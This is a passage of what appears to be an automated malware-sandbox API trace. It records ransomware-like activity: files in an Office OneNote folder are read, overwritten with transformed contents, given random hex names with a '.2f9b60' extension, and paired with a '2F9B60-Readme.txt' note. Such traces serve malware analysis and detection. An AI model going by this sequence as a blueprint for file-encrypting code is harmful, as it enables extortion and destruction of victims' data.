NtSetInformationFile (FileHandle=0x313c, IoStatusBlock=0x2e2ffa98, FileInformation=0x2e2ffaa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205086d0) returned 1 [0240.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507eb0) returned 1 [0240.221] FlushFileBuffers (hFile=0x313c) returned 1 [0240.244] CloseHandle (hObject=0x313c) returned 1 [0242.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506130 [0242.548] wcscpy (in: _Dest=0x20506130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0242.548] wcscat (in: _Dest=0x20506130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" [0242.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt")) returned 0x20 [0242.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506130) returned 1 [0242.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c720) returned 1 Thread: id = 3854 os_tid = 0x1270 [0227.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd")) returned 0x20 [0228.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd", dwFileAttributes=0x20) returned 1 [0228.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cb4 [0229.120] GetFileSizeEx (in: hFile=0x1cb4, lpFileSize=0x30eff880 | out: lpFileSize=0x30eff880*=81) returned 1 [0229.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ff0 [0229.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2540 [0229.122] NtQuerySystemTime (in: CurrentTime=0x30eff740 | out: CurrentTime=0x30eff740*=132462178331182000) returned 0x0 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x6e99bb8 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x76b29728 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x167d0d5 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x3d3df552 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x16e64338 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x6a4b84c9 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x46d02dae [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x4765ca2c [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x34717a89 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x24312743 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x7ad7c8a1 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x1d8f9e42 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x6700193f [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x7fc59848 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x2bdf5c2a [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x5005621a [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x7db6d926 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x1d69e81d [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x551bac9b [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x7bf9450d [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0xbbbc065 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x2f8dcd05 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x5fc5c357 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x392ca4c5 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x40ddcd2 [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x148ba76a [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x218b7dce [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x2c1f51db [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x373bcd2d [0229.122] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x567eeb19 [0229.123] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0xc809399 [0229.123] RtlRandomEx (in: Seed=0x30eff730 | out: Seed=0x30eff730) returned 0x2b47d543 [0229.132] ReadFile (in: hFile=0x1cb4, lpBuffer=0x20428750, nNumberOfBytesToRead=0x51, lpNumberOfBytesRead=0x30eff730, lpOverlapped=0x0 | out: lpBuffer=0x20428750*, lpNumberOfBytesRead=0x30eff730*=0x51, lpOverlapped=0x0) returned 1 [0229.133] SetFilePointerEx (in: hFile=0x1cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.133] WriteFile (in: hFile=0x1cb4, lpBuffer=0x20402eb0*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x30eff734, lpOverlapped=0x0 | out: lpBuffer=0x20402eb0*, lpNumberOfBytesWritten=0x30eff734*=0x51, lpOverlapped=0x0) returned 1 [0233.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4570 [0233.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0233.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0233.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20402eb0) returned 1 [0233.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20428750) returned 1 [0233.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0233.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0233.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61920 [0233.161] SetFilePointerEx (in: hFile=0x1cb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.161] WriteFile (in: hFile=0x1cb4, lpBuffer=0x42c21980*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x30eff850, lpOverlapped=0x0 | out: lpBuffer=0x42c21980*, lpNumberOfBytesWritten=0x30eff850*=0x120, lpOverlapped=0x0) returned 1 [0235.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f10 [0235.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1f10) returned 1 [0235.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad820 [0235.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f10 [0235.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fa0 [0235.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1fa0) returned 1 [0235.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1cddf6e0 [0235.407] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="be") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="12") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="66") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="df") returned 2 [0235.407] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="68") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: _Dest="96") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="40") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="ba") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="85") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: _Dest="06") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="49") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="84") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="be") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="22") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="42") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="29") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="49") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="78") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="54") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.408] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="be") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="03") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="47") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="cc") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="14") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf738, _Format="%c%c" | out: _Dest="04") returned 2 [0235.409] sprintf (in: _Dest=0x1cddf73a, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.409] RtlInitAnsiString (in: DestinationString=0x30eff8c8, SourceString="b0be6f12f96f661f6edf68ad9640ba85adac064984beadd23b224229eb49eb9d6b7854c8be03e8477bccb814046c" | out: DestinationString="b0be6f12f96f661f6edf68ad9640ba85adac064984beadd23b224229eb49eb9d6b7854c8be03e8477bccb814046c") [0235.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x30eff898, SourceString="b0be6f12f96f661f6edf68ad9640ba85adac064984beadd23b224229eb49eb9d6b7854c8be03e8477bccb814046c", AllocateDestinationString=1 | out: DestinationString="b0be6f12f96f661f6edf68ad9640ba85adac064984beadd23b224229eb49eb9d6b7854c8be03e8477bccb814046c") returned 0x0 [0235.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c8c0 [0235.410] wcscat (in: _Dest=0x431f5c70, _Source="b0be6f12f96f661f6edf68a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a" [0235.410] wcscat (in: _Dest=0x431f5c70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a.2f9b60" [0235.410] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a.2f9b60", NtPathName=0x30eff870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\b0be6f12f96f661f6edf68a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310c990 [0237.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c990) returned 1 [0237.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43079a40) returned 1 [0237.392] NtQueryInformationFile (in: FileHandle=0x1cb4, IoStatusBlock=0x30eff8d8, FileInformation=0x30eff8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30eff8d8, FileInformation=0x30eff8e8) returned 0x0 [0237.392] NtSetInformationFile (FileHandle=0x1cb4, IoStatusBlock=0x30eff8d8, FileInformation=0x30eff8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f5c70) returned 1 [0237.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c8c0) returned 1 [0237.416] FlushFileBuffers (hFile=0x1cb4) returned 1 [0238.206] CloseHandle (hObject=0x1cb4) returned 1 [0241.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cc90 [0241.398] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0241.398] wcscat (in: _Dest=0x4205cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" [0241.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt")) returned 0x20 [0241.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0241.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506130) returned 1 Thread: id = 3855 os_tid = 0xf1c [0227.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd")) returned 0x20 [0228.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd", dwFileAttributes=0x20) returned 1 [0229.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25e0 [0229.153] GetFileSizeEx (in: hFile=0x25e0, lpFileSize=0x30fefd00 | out: lpFileSize=0x30fefd00*=7330) returned 1 [0229.153] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x1c9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.153] ReadFile (in: hFile=0x25e0, lpBuffer=0x30fefc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30fefcc8, lpOverlapped=0x0 | out: lpBuffer=0x30fefc80*, lpNumberOfBytesRead=0x30fefcc8*=0x4, lpOverlapped=0x0) returned 1 [0229.159] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b40 [0229.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fd0 [0229.161] NtQuerySystemTime (in: CurrentTime=0x30fefbc0 | out: CurrentTime=0x30fefbc0*=132462178331494000) returned 0x0 [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x414b9e6c [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x2b49161b [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x5c0827f [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x13a97bbd [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x28de0b91 [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x9a3748f [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x7893220 [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0xe2e3a4d [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x202d2cbe [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x74b42df8 [0229.161] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x574d9b56 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x1876d2d5 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x41b4aa2 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x3c43707f [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x333226be [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0xbfe658 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0xb60c4f2 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x62809f61 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x395291d3 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x101c5e49 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x7bca2864 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x3d306fb8 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x130dd773 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x605ea76d [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x70cc1118 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x35a5850f [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x72df8b5d [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x714d6976 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x1eca4d8f [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x63e75888 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x2c6c84e8 [0229.162] RtlRandomEx (in: Seed=0x30fefbb0 | out: Seed=0x30fefbb0) returned 0x1991b21f [0229.173] ReadFile (in: hFile=0x25e0, lpBuffer=0x20433b80, nNumberOfBytesToRead=0x1ca2, lpNumberOfBytesRead=0x30fefbb0, lpOverlapped=0x0 | out: lpBuffer=0x20433b80*, lpNumberOfBytesRead=0x30fefbb0*=0x1ca2, lpOverlapped=0x0) returned 1 [0229.203] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.203] WriteFile (in: hFile=0x25e0, lpBuffer=0x20420f30*, nNumberOfBytesToWrite=0x1ca2, lpNumberOfBytesWritten=0x30fefbb4, lpOverlapped=0x0 | out: lpBuffer=0x20420f30*, lpNumberOfBytesWritten=0x30fefbb4*=0x1ca2, lpOverlapped=0x0) returned 1 [0233.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0233.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0233.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0233.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20420f30) returned 1 [0233.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20433b80) returned 1 [0233.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0233.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0233.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce61560 [0233.283] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.283] WriteFile (in: hFile=0x25e0, lpBuffer=0x42c21720*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x30fefcd0, lpOverlapped=0x0 | out: lpBuffer=0x42c21720*, lpNumberOfBytesWritten=0x30fefcd0*=0x11e, lpOverlapped=0x0) returned 1 [0235.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61920 [0235.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2030 [0235.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2030) returned 1 [0235.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ac8e0 [0235.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2030 [0235.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2060 [0235.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2060) returned 1 [0235.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0235.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1cddf6e0 [0235.426] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="70") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="db") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: _Dest="03") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="d0") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: 